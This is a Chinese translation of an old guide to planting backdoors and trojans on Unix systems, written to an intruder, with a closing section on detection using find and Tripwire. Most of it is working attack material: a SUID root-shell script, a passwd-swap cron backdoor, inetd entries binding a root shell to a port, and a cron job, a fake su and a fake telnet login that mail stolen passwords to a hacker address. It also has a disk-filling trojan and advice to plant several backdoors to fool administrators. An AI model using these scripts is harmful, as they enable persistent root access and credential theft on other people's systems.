首页 > 代码库 > Unix系统后门技术指南

Unix系统后门技术指南

Unix系统后门技术指南

原文:http://ouah.org/backdoors.html

翻译:http://blog.csdn.net/nixawk


简介

黑客攻入系统后,面临一项艰巨的任务----保留对系统的访问权限.为了获取服务器固定的访问权限,入侵者必须知道服务器的所有弱点.这不是一件容易的事.后门或 木马,能够让黑客长期享有目标主机的访问权限.不过,这不能一概而论;后门可以做很多不同的事情,但它们的主要目的是保持对受限区域的访问权限.后门(又名,暗门)与木马之间存在着差异:黑客攻入系统后,会在系统中放置后门(入侵者用它进一步访问系统),而木马则为黑客提供独立访问的权限(取决于你是否有权限).入侵者如果不知道如何再次攻入系统,那么他们通常会编写或使用一些程序,用于欺骗管理员或其他用户,获取访问权限,然后做一些事情(例如,文件上传/下载等).
这篇文章我将介绍,如何根据Unix系统环境,打造/放置后门和木马.这些方法,系统管理员及其他领域的人,可能会很有兴趣.拥有和保留对Unix系统的远程访问权限,Unix系统安全领域,是一项极具挑战的任务.


案例

(前事不忘,后事之师).回顾过往,已经出现许多免费或者收费的后门和木马.介绍如何隐藏它们的案例也多不胜数.下面列举一些案例:

破解工具劫持:木马程序可被置于世界闻名的破解工具内.一旦你使用它破解Unix密码,木马程序会悄悄地将你破解的密码发送给某个人.当然,作者会立即更新代码,发布新版本.

扫描工具SATAN:早期SATAN(1.0)安装包内的某个二进制文件----fping,内置恶意代码.篡改代码的人,能够获取对目标机器(使用代码的机器)的访问权限(坦普尔大学).编码者篡改了fpingmain()函数,fping程序能够添加一个用户(用户名:‘suser‘)/etc/passwd.使用这个用户名,他可获取安装有SATAN机器的远程权限.

quota木马:1996,一个内置木马的quota版本,被发布到互联网(quota,是一款Unix工具,用于检测用户磁盘使用情况).该木马会拷贝密码和NIS地图,然后邮件给代码的作者.

ircII木马:1994, ircII 2.29 (一款聊天程序客户端)也被放置木马.编码者利用木马,可获取系统的访问权限.

TCPWrappers:互联网上有一个被放置木马的TCPWrappers版本.木马会放送邮件给编码者,以便能够获取TCPWrappers(恶意编译)系统的root权限.

infamousSlackware后门:Linux Slackware releases 3.2 及早期版本,有一个安装包sample_users.tgz.这个文件会创建3个无密码账户(‘satan‘, ‘gonzo‘ , ‘snake‘ ). 入侵者可以通过帐号获取权限.

当然,这并非所有的Unix系统后门/木马案例--这只是一部分(还有很多其他,例如wu-ftpd木马).我个人观点,木马是一大威胁,因为它们无处不在,它们几乎无所不能.


后门技术

攻入一个系统后,想要再次获得root账户权限是一件很困难的事情.如果管理员发现你入侵了他的系统,那么你不得不寻找新的漏洞,或使用社会工程学,再次攻入他的系统.在系统内放置后门,可以避免上面的操作,我们同样可以获得root访问权.

目前已经有很多后门技术,简单的就是添加用户到/etc/passwd文件,复杂点的就是处理服务进程(黑客最喜欢的一种方式),

rhosts后门

(添加字符‘+ +‘到用户的rhosts文件,以便用户随时随地通过rlogin/rsh进入系统)


login
后门

(修改Unix登陆程序--入侵者使用特定的后门密码,用户名随意,很容易获得指定用户的shell),


telnet
进程后门

(修改in.telnetd文件,例如字符串或 密码.黑客使用指定的终端类型(telnet进程初始化时,会自动检测终端类型),很容易获得访问权限),


服务后门

(使用后门服务替换,新的网络服务或 未使用的旧服务;通常的做法,绑定一个shell到指定端口,黑客使用密码,即可获得访问权限(事实上,inetd.conf被篡改)),


网络流量后门

(shells内容输出到指定端口,例如TCP, UDPICMP(大部分防火墙,允许ping数量包在网络中穿行,这对message-transfer后门是个不做的选择)),


库后门

(后门被放置在库文件中(例如:MS Windows系统内的DLL文件)可为入侵者提供访问权限,例如修改crypt(),以便使用特定密码进行验证),


计划任务后门

(使用cron(用于计划任务的程序),攻击者可以让放置于系统的后门,在特定的时间启用),


/etc/passwd
文件后门

(一款简单的后门--Unix/etc/passwd文件中,添加一个无密码用户,此用户具有与root相同的userID),


SUID
后门

(复制一份rootshell,使用它的用户可获取root权限--此方法有限制,你必须有一个系统的非root账户),



等等...如你所见,现有很多的后门技术.根据系统,选择最合适的.

这一节,我将介绍一些Unix系统留后门的方法.

*SUID后门

如果你长期拥有系统的非root权限,那么我推荐你使用此方法(例如.拥有一个非root账户).复制一个绑定SUID标识的rootshell.这意味着,运行rootshell的用户,会获得root权限的shell,下面有一个简单的脚本,可以替你完成这项任务,记得将后门放置在一个安全的地方:

--
#!/bin/shcp /bin/sh /tmp/.root_shell
chown root:root /tmp/.root_shell
chmod 4755 /tmp/.root_shell # or ‘chmod a+s /tmp/.root_shell‘

--

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
int main()
{
   setuid( 0 );
   system( "/bin/sh" );
 
   return 0;
}

--

当然,你需要root权限去执行这个脚本(安装后门).shell会被复制到/tmp目录,名为‘.root_shell‘.我建议你将它放在其他位置,系统会定期清理临时目录.你可以选择将后门重命名为‘...‘,这样做可以迷惑普通用户.如果想启用后门,只需在命令行窗口输入‘./.root_shell‘,此时你已具备root权限(可使用命令‘whoami‘‘uid‘,进行验证).

*/etc/passwd后门

添加用户到/etc/passwd文件,此用户具备rootID (0), 无密码.你可以选择手动完成这项操作.记得添加7fields,接着你可以登陆,GECOS信息一切正常.当你telnetftp目标主机( inetd会调用登陆程序)使用设定的账户密码(密码为空)登录,立即获得rootshell.由于这种方法已经众所周知,我推荐将其用于简单后门.复制原始/etc/passwd到系统的某个位置,将它隐藏,并添加后门账户.备份原始的/etc/passwd文件,使用后门passwd文件替换它,以便获取权限.可以使用一个延时,然后恢复原始passwd文件.

--
#!/bin/sh

cp/etc/passwd /etc/.temppass
cp/tmp/.backdoor_passwd /etc/passwd
sleep60
mv/etc/.temppass /etc/passwd

--

这项技术由daemon9引入,而且非常有效.使用后门passwd文件替换原始passwd文件,时长为1分钟(当然,你可以选择使用‘sleep‘命令,自定义时长).然而,有一个很重要的因素-- cron. 文件/var/spool/crontab/root中应该有一条对应的记录:

--
14 0 * ** /bin/usr/backdoor_password
--

该脚本每天晚上00:15运行.这意味着你在那个时间点,具备权限访问目标机器.另外一种类似cron的后门,可以每天或每周发送/etc/passwd文件给后门安装者.攻击者可以很快知道有哪些新账户,服务,等信息...你还可以了解到后门账户(如果有)的信息.简单例子如下:

--
#!/bin/sh

cp/etc/passwd /etc/.temppass
cat/etc/.temppass | mail hacker@address.com
rm/etc/.temppass

--

*联网进程/服务后门

这也是一种广泛使用的方法.实际上,有两种方法---一种是针对长时间未使用的服务,另一种是建立新的服务.
开始前,我先来介绍一下/etc/services/etc/inetd.conf文件.首先,DigitalUnix 4.0系统的/etc/services文件为例(系统有很多正在使用的服务,此处只粘贴一部分):

--
echo7/tcp
echo7/udp
discard9/tcp
discard9/udp
systat11/udp
daytime13/tcp # Day-time Daemon TCP
daytime13/udp # Day-time Daemon UDP
netstat15/tcp
quote17/udp
chargen19/tcp
chargen19/udp
ftp21/tcp
telnet23/tcp
smtp25/tcp # Simple Mail Transfer Protocol Daemon
time37/tcp
time37/udp
name42/tcp
whois43/tcp
auditd48/tcp # Digital Audit Daemon

--

第一列,为服务名(请记住我们讨论的是网络服务),
第二列,为指定服务的端口号和协议类型(TCPUDP),
第三列,为注释内容.

须知:使用getservicebyname()编程,可以知道服务对应的端口.

现在你已经了解了/etc/services,再介绍一下DigitalUnix 4.0 /etc/inetd.conf文件,部分内容(网络进程)如下:

--
ftp stream tcp nowait root/usr/local/tcpw/tcpd ftpd -dl
telnetstream tcp nowait root /usr/local/tcpw/tcpd telnetd
shell stream tcp nowaitroot /usr/local/tcpw/tcpd rshd
loginstream tcp nowait root /usr/local/tcpw/tcpd rlogind
exec stream tcp nowait root/usr/local/tcpw/tcpd rexecd
fingerstream tcp nowait root /usr/local/tcpw/tcpd fingerd
tftp dgram udp wait root/usr/sbin/tftpd tftpd /tmp
comsatdgram udp wait root /usr/sbin/comsat comsat
talkdgram udp wait root /usr/sbin/talkd talkd

--

第一列,为进程名(/etc/services文件相同).作用就是将查找services文件,对应网络服务端口号.
第二列,socket类型(stream类型或datagram类型).
第三列,为协议类型(TCPUDP),
第四列,是否延时连接(
如果设定为wait,服务器会处理socket下的所有连接,
如果设定为nowait,系统会fork()exec()一个新的服务器进程,用于额外数据包或连接请求.
通常情况下,UDP设定为wait,TCP设定为nowait--那么TCP出现异常),
第五列,启用服务进程的用户(通常是root),
第六列,服务对应的程序.
第七列,服务运行时,需要执行的命令(通常会带参数).

如我所说,有两种方案用于这种后门--针对不常用服务设定后门或 创建新服务留后门.

首先,我们尝试用已经存在的服务完成这项任务./etc/services文件内,选一个不常用的服务(不能是telnet,ftp, smtp, etc...). 接着到inetd.conf文件中,为所选服务填写正确的信息(如果信息已经存在,请做适当修改):
service, stream, TCP, nowait, root(
执行程序的用户),后门程序地址(可以是/bin/sh),程序参数(例如:‘sh -i‘.):

--
discard stream tcp nowaitroot /bin/sh sh -i
--

(不要使用discard,因为它经常使用,这里的例子仅供参考)现在,我们所做的改变马上就会生效,你需要重启网络进程(使用命令‘killall-HUP inetd‘ -- 当然,你必须是root权限).尝试一下,discard服务端口是9(/etc/inetd.conf文件中很容易知道),你可以telnet受害者的9号端口,接下来就能够获取一个root(#) shell.

其次,创建一个新的服务(不使用已经存在的服务--可以避免被发现).你需要做的就是,查阅/etc/services文件,在两个端口间找一个空位子(例如:quote端口号是17, chargen 端口号是19,那么就可以将后门端口号定为18).接下来,指定服务名,协议类型.如下所示(/etc/services):

--
quote 17/udp
backdoor 18/tcp
chargen 19/tcp

--

接下来,打开/etc/inetd.conf文件,重复方法一中的操作.(如下所示):

--
backdoor stream tcp nowaitroot /bin/sh sh -i
--

重启网络服务,让其生效.telnet端口18,你会获得一个rootshell.

*登录程序后门

:这也是Unix系统中常用的一种后门.由于Unix系统开源,系统内的很多程序都有源码.黑客可以修改指定版本的login程序,替换系统原有文件.使用特定密码进行登录,即可获得rootshell.案例(请参考附录部分).

这些都是基础且常用的后门.我推荐同时使用多个----可在系统中放置一对root SUIDs文件,启用2个或3个服务,并在/etc/passwd文件中放置后门账户.这样做可以迷惑系统管理员,当他发现一个后门并删掉它,可能他就会认为自己的系统安全了(然而并非如此,系统中还残留量一些).



木马技术

与后门不同,木马用于获取系统的初始权限.特洛伊木马的用途要回顾到很久之前,希腊人精心准备了一个大木马,并将木马作为礼物,送进了特洛伊城,这也就是闻名的特洛伊战争.
无知的人,使得木马能够成功运行.制作木马依赖你的想象力和知识.其中一款古老的Unix木马,就是修改登录程序.用户使用账户和密码登录时,验证通过,进入系统,同时会将登录信息邮件给攻击者.我并不打算详细的介绍木马的使用,因为他们之间的使用可能存在很大的差距.我会给你两个案例,介绍木马如何从用户那里获取关键信息.

*su木马

这一类的木马,主要用于获取root‘password.例如下面的脚本:

--
#! /bin/sh

stty-echo
echo -n "Password:"
read PASSWD
sttyecho
echo
echo"Sorry"
echo "$1 /$2: $PASSWD" | mail hacker@some.host

rm$0
kill -9 $PPID

--

将脚本重命名为‘su‘,并将其放置在用户的home目录下.不过,你需要改变用户的PATH变量.为了木马成功执行,你必须这样做.有两种方法可行:(1)改变用户的.profile/ .bash_profile / .login 文件.(2)可以自定义PATH环境变量,完成同样的操作(案例中,木马对应的账户为root):

--
# PATH=.:/usr/bin:/bin:/usr/local/bin:/sbin:
/usr/sbin:/usr/X11R6/bin
# export PATH

--

注意/usr/bin前的点号(.).这个点号告诉系统,从用户目录获取命令/程序(注意:有些系统下,你必须赋予木马脚本执行权限).
用户执行脚本后,会提示用户输入密码.接着程序会提示用户,密码输入错误,在此同时,木马会将密码邮件给hacker@some.host,然后木马会自动关闭进程,并删除文件.

*telnet木马

如果你想获取更多的主机和密码,可以使用该方法.大部分的Unix用户,会使用他们的shell账户,telnet其他系统,此方法可用于钓取更多的账户.案例脚本如下:

--
#! /bin/sh

echo"Trying $1..."
sleep 1
echo "Connected to $1."
echo "Escape character is ‘^]‘."
echo " "
echo-n "$1 on Linux 2.0.34, "; date +%x
echo" "
echo -n "login:"
read ID
echo-n "Password: "
read PW
sleep 1
echo"Login incorrect"
echo" "
echo -n "login:"
read ID2
echo-n "Password: "
readPW2
sleep 1
echo"Login incorrect"
echo" "
echo -n "login:"
read ID3
echo-n "Password: "
readPW3
echo "Host $1, TRY 1:user $ID and password $PW, TRY 2: user $ID2 and password $PW2,
TRY 3: user $ID3 and password $PW3."| mail hacker@some.host
sleep 1
echo "Login incorrect"
echo "Connection closed by foreignhost."

rm$0
kill -9 $PPID

--

它就像一个真实的telnet程序,登录过程,循环三次,然后返回到原始的shell窗口.当然,这个取决于用户是否粗心,这个程序针对的是Linux2.0.34 (因此,这个方法,并不适用于那些聪明的管理员).
该程序的一个亮点,三次登录输入的密码,均被记录并邮件给攻击者(这样做,是为了避免用户输入密码出错的情况).另外,程序会自删除,如果想要木马程序工作,你需要修改PATH变量,以便首先从用户目录加载木马程序.

*使用现存的程序作为木马

这是一种很常见的方法.你需要在程序的C代码中,写入几行内容(前提是你有代码),如果程序是以root账户执行,那么就会执行指定操作:

--
if (!strcmp(getlogin(),"root") ) system("chmod 666/etc/passwd");
--

将这段代码放到程序中,然后重新编译.每次root账户载入程序,程序就会执行‘chmod 666/etc/passwd‘ 操作----对所有用户开放/etc/passwd文件的写权限.你也可以按照自己的需求设定代码,例如,你可以调用system()创建一个rootSUID shell, 或者重启系统,等等...

*恶意木马

一些人喜欢用木马破坏系统.其中一些是为了好玩,也有一些是为了利润.众多恶意木马中一款,可用于填充系统空间,这样会迫使Unix服务器重启.例如下面的Perl木马:

--
#! /usr/local/bin/perl

$SIZE=shift(@ARGV);
$LIST="";

open(FILE, "> megfile");
{
for ($CNT = 0; $CNT <100000; $CNT++ )
{print FILE "**********"; }
}
close(FILE);

for ($CNT= 0; $CNT < $SIZE; $CNT++ )
{$LIST="$LIST megfile" }

`cat$LIST > ${SIZE}_mBytes`;
echo"Unknown error."

rm $0
kill -9 $PPID

--

程序运行时,需要一个参数:文件名.因此,你可将木马伪装成,一个需要文件名参数运行的程序(例如:copy, rename, find ...).此程序会使用星号(*)填充指定文件--大到100M.然后会重命名文件,文件名格式:name_mBytes.我自己并不觉得这一类的木马很有效.不过,有些朋友可能会感兴趣,并在某些场所用到,例如:revenge,等等...针对这种木马的解决方案,就是设定一个周期为两个小时的计划任务,用于监控磁盘空间,一旦磁盘使用量达到某个值,就给root帐号发送邮件.(例如,检测磁盘空间:‘df -k | awk ‘{print $6"\t"$4}‘). 案例脚本如下:

--
#! /bin/sh

df -kl |grep -iv filesystem | awk ‘{print $6" "$4}‘ | while readLINE; do
FSPC=`echo$LINE |awk ‘{print $2}‘`
if[ $FSPC -lt 100000 ]; then
echo"`date` - ${LINE} space left on `hostname`" >>/var/log/df.log
fi
done

--

磁盘空间使用量在100MB以下时,此脚本会生成日志文件/var/log/df.log(加上邮件提醒root用户的功能很容易,请自行完成).这种脚本处理占据磁盘的木马时,相当于是系统管理员的救星.

木马有多种用途,每种用途取决于你想干什么.一些人用它捕获密码和一些有价值的信息,另外一些则用它来捣乱.

后门/木马探测

-------------------*

实际上,用户是最大的问题.能够发现后门和木马的用户,占少数.大部分的用户,在这一块相当于是新手,他们很容易被恶意程序欺骗.如我所言,SUID这类的后门/木马,很常用,也没有很好的防御方法.不过,我们使用`find`命令,可以很快定位到它.
--
# find / -type f \( -perm -4000 -o -perm -2000 \) -ls
--

find会列出SUID4000SGID2000的文件.find按照给定的规则,对文件进行排除操作.(SUID程序s权限位,对应可执行文件的x.例如:rws).如果你有一个NFS加载的文件系统,你可以在查询的时候,进行排除,命令如下:

--
# find / -local -type f \(-perm -4000 -o -perm -2000 \) -exec ls -ld ‘{}‘ \;
--

这种方案,只针对一种类型的后门.还有很多其他的类型,此处的保护工作显然力不能及.the next example is a simple checklist mechanism:

--
#! /bin/sh

cat/usr/adm/file_list | xargs ls -ild > /tmp/now
diff -b /usr/adm/save_list/tmp/now

--

文件/usr/adm/file_list包含需要监控的文件列表.-i选项,会给列表中的文件加上inode编号.-d选项,会给出文件/目录的属性.
对上面的案例进行改良,加入强大的`find`命令,可以得到更好的效果.

--
#! /bin/sh

find `cat/usr/adm/file_list` -ls > /tmp/now
diff-b /usr/adm/save_list /tmp/now

--

该脚本,会通过对比,显示是否有文件添加/删除.该脚本还会启用文件的md5校验值:

--
#! /bin/sh

find `cat/usr/adm/file_list` -ls -type f -exec md5 {}\; > /tmp/now
diff -b /usr/adm/save_list/tmp/now

--

另外一种常见的后门,/etc/passwd文件中添加一个UID0的账户.针对这类的后门,检测措施就是查找UID0的用户.(UID0的账户,域值数小于7或没有密码):

--
# cat/etc/passwd | awk -F: ‘NF != 7 || $3 == 0 || $2 == "" {print $1 " " $2 " " $3}‘

--

这个脚本会返回所有满足规则的用户名.这个脚本有些落后,不怎么可靠.完美的系统并不存在.不过,已经出现了一些很实用的程序,可用来帮助我们,例如:Tripwire.记下来的一章,我会介绍一下Tripwire的用途,如何使用它来监控文件系统.Tripwire,1992,由普度大学的EugeneSpaffordGeneKim编写.Tripwire,是一款检测工具,主要用来监控Unix系统文件,以便找出非认证性的篡改.Tripwise,在识别攻击者留下的病毒/蠕虫/逻辑炸弹/后门/木马方面,效果明显.Unix镜像发布的时候,已经包含了上千个安装文件.被入侵以后,还没有一个很好的办法用于检查所有文件.重装系统并不是明智的做法,尤其遇到你没有备份的情况.Tripwire会将文件的指纹录入数据库中.被入侵后,可通过对比现文件指纹,进行检测.添加,删除,修改的文件均会报告给管理员.Tripwire不错,主要是因为他速度非常快.Tripwire使用了各种各样的签名算法或单向散列函数.例如:
RSA Data Security Inc.‘s,
MD5 (Message Digest 5),
MD4and MD2,
Snefru (Xerox Secure Hash Function),
SHA (SecureHash Algorithm),
Haval code
two conventional CRC (theCyclic Redundancy Check -- 32-bit and 16-bit).


Tripwise默认安装以后,每个文件会有两条签名信息存储在数据库中.对黑客来说,这两个值很难覆盖.作者用5台机器测试了250,000个文件,以便找出重复的签名.16-bit CRC 约碰撞了25,000,128-bit MD4, MD5 Snefru并未发生碰撞(这些内容在Tripwise的开发文档中都有说明:文档名为,"The Design and Implementation of Tripwire" , EugeneH. Spafford GeneH. Kim撰写).
Tripwire具备很好的移植性-----有一个版本,适用于每个Unix镜像.数据库内的信息采用的是ASCII编码,因此很容易打印,也容易由其他文本编辑器修改.Tripwire快速,准确,并可在网络模式下运行.(一个基本安装,即可覆盖上千台机器.).
第一次运行时,Tripwire会创建基准的签名数据库.以后每次运行时,Tripwire会调用tw.config这个配置文件,生成一个新的签名库.然后,程序会对比原始库与新库,并产生报告.下面的图形,演示了Tripwire是如何工作的:

--

tw.config-- generate --> new database
|
baseline|
database--------------> compare
|
applyoptions
|
report

--
Tripwire有四种操作模式:

*创建数据库:产生基准数据库,用于后期对比.
*
完整性检测:tripwire的核心模式(检测文件时,会与基准数据库做比较).
*
数据库更新和 交互式更新:这两种模式有很多选项,可用于排除动态变化的文件.例如:/etc/passwd,如果你使用的是拥有很多用户的一个大系统,经常添加/删除用户,由于这个文件经常改动,然后你想在检查过程中,排除这个文件.然而,攻击者可能会在/etc/passwd文件中放置一个后门账户.因此,我推荐创建一个shell脚本,用于备份passwd文件.(可按日期备份/etc/passwd文件.).

tw.config文件是个不错的资源,它会展示一些扩展信息,哪个文件正在被处理,该文件的所拥有的属性/标识.tw.config文件中每个条目都有对应的掩码.下表显示的就是Tripwiremask:

Flag:Description:
-----*--------------------------------------*
- 排除下面的属性
+ 包含下面的属性
p 权限位
i inode number
n 链接数
u 所有者用户ID
g 所有者组ID
s 文件大小
a 访问时间
m 修改时间
cinode 创建/修改时间

须知:inode,Unix系统用于存储文件信息的一种结构(location,type(文件/目录/链接,....),对象的大小,ctime, ) ctime (inode 最近修改时间),mtime(文件最近内容变更时间,atime (文件最近访问时间(read(), exec(), ...),reference计数(文件数),UID, GID, 文件模式位(权限位等)).

由于这些标记很复杂,开发者新增加了一个模板,满足管理员的需求:

Letter:Template purpose: Template selection masks:
-------*------------------*--------------------------*
R read-only files+pinugsm12-ac3456789
Llog files +pinug-sacm123456789
Nignore nothing +pinugsamc123456789
Eignore everything -pinugsamc123456789
>growing log files +pinug>samc123456789

须知:该模板可以与所选masks值混用(例如:R-2,检测只读文件).

Tripwire默认使用R模板.例如:/home/bjamestw.config文件中的记录如下所示:

--
/home/bjames R
--

then theselection masks for that directory are actually:

--
/home/bjames+pinugsm12-ac3456789
--

这样做简化了工作.上面的例子中,Tripwire会报告模式位的变化,inode,reference计数,UID, GID, 文件大小,修改时间,MD5Snefru标记(1and 2). 同样可以排除访问/icode时间戳的变化,忽略其他标记的用途.this brings us to another table, Tripwire 标记号(此记号,Tripwire用于同基准数据库中的记录进行比较):

Number:  Signature:
-------*------------------------*

0        null signature
1        MD5
2        Snefru
3        CRC (32-bit)
4        CRC (16-bit)
5        MD4
6        MD2
7        SHA
8        Haval (128-bit)
9        保留以便后用


MD5Snefru最常用.现有两个操作符,让文件监控配置工作更易做.如果在tw.config条目前加上(‘!‘),那么在检测时,该文件就会被忽略.如果条目是目录----那么目录下的所有文件会被忽略.
如果在条目前加上(‘=‘),且条目类型为文件,那么Tripwire不会采取任何措施.如果条目为目录,那么目录内的文件不会处理,只会处理目录自己.
Tripwire安装并不困难,因此在这里不做介绍.我要做的就是给你一些提示,让你的监控工作更容易做.‘tripwire -initialize‘, Tripwire进入数据库生成模式,在目录(‘./databases‘)下会创建基准数据库文件,名为tw.db_主机名.‘tripwire -interactive‘, Tripwire进入数据库交互模式,一旦发现新增/删除/修改文件或目录,就会提示用户是否更新数据库.‘tripwire -update parameter‘, Tripwire进入数据库更新模式,例如:

--
# tripwire -update/home/bjames/my.file
# tripwire -update /home/bjames

--

第一条命令,更新/home/bjames目下的文件‘my.file‘.
第二条命令,更新/home/bjames目录下的所有文件.

为了让Tripwire高效的工作,我推荐你使用cron设定一个一天一次的任务.甚至可以让Tripwire给你发送报告邮件(‘tripwire| /bin/mail root‘ ). 如果想要检测过程更快,可排除某些标记.例如,‘tripwire -i 2‘ 仅使用Snefru标记(andnot the MD5 like default). Tripwire 不会检测挂载的分区,如果你想要这么做,请设定对应的参数.如果你想知道Tripwire正在处理哪个文件,可以使用命令‘tripwire-v‘.

*一次简单的检测案例:

--
Tripwire(tm) IntrusionDetection Software v1.3

Thisrelease is for single CPU, single-site, end-use
purposes. For commericalapplications or product
information,please visit the Visual Computing Corporation
website at http://www.visualcomputing.com/tripwire, or
call us at (503) 223-0280.
Tripwire(tm) Copyright1992-98 by the Purdue Research
Foundationof Purdue University, and distributed by Visual
Computing Corporation underexclusive license arrangements.

### Phase1: Reading configuration file
###Phase 2: Generating file list
###Phase 3: Creating file information database
###Phase 4: Searching for inconsistencies
###
### Total files scanned:37024
###Files added: 7
###Files deleted: 8
###Files changed: 22
###### Total file violations: 37

--

还有一件事----记得加固Tripwire的数据库.这些数据库,是入侵者的目标,对管理员的你来说,其价值也不容忽视.Tripwire是一款强大的工具,使用得当,你可以最大力度的找出后门/木马.Tripwire在网上有些衍生版本,一个是,Perl版的Slipwire.另外的有,ATP, Hobgoblin(FarmerSpafford编写),...


附录

---------*

slipwire.pl(slipwireperl脚本,用于文件系统完整性检测)随文打包.trojans_c.zip (打包了一些,C语言编写).

slipwire.pl- http://net-security.org/default/08/slipwire.pl
trojans_c.zip- http://net-security.org/default/08/trojans_c.zip

结论

-----------*

如果想要拥有对系统固定的访问权限,后门放置至关重要.如果入侵者想要保住root账户,后门放置是首要任务.另一方面,系统管理员应该谨慎一些,每天用Tripwire进行文件完整性检测.

声明

-----------*

weprohibit hacking,phreaking & such criminal activities. allinformation found here does not, in any way,connect to crime. thistext is meant for people to learn and be aware of security. if youtry anything that‘s considered illegal with the information foundin this text you will be to blame yourself,we cannot be blamed forother people‘s actions. remember that security is very importantand thus should not be neglected by the people holding thestrings.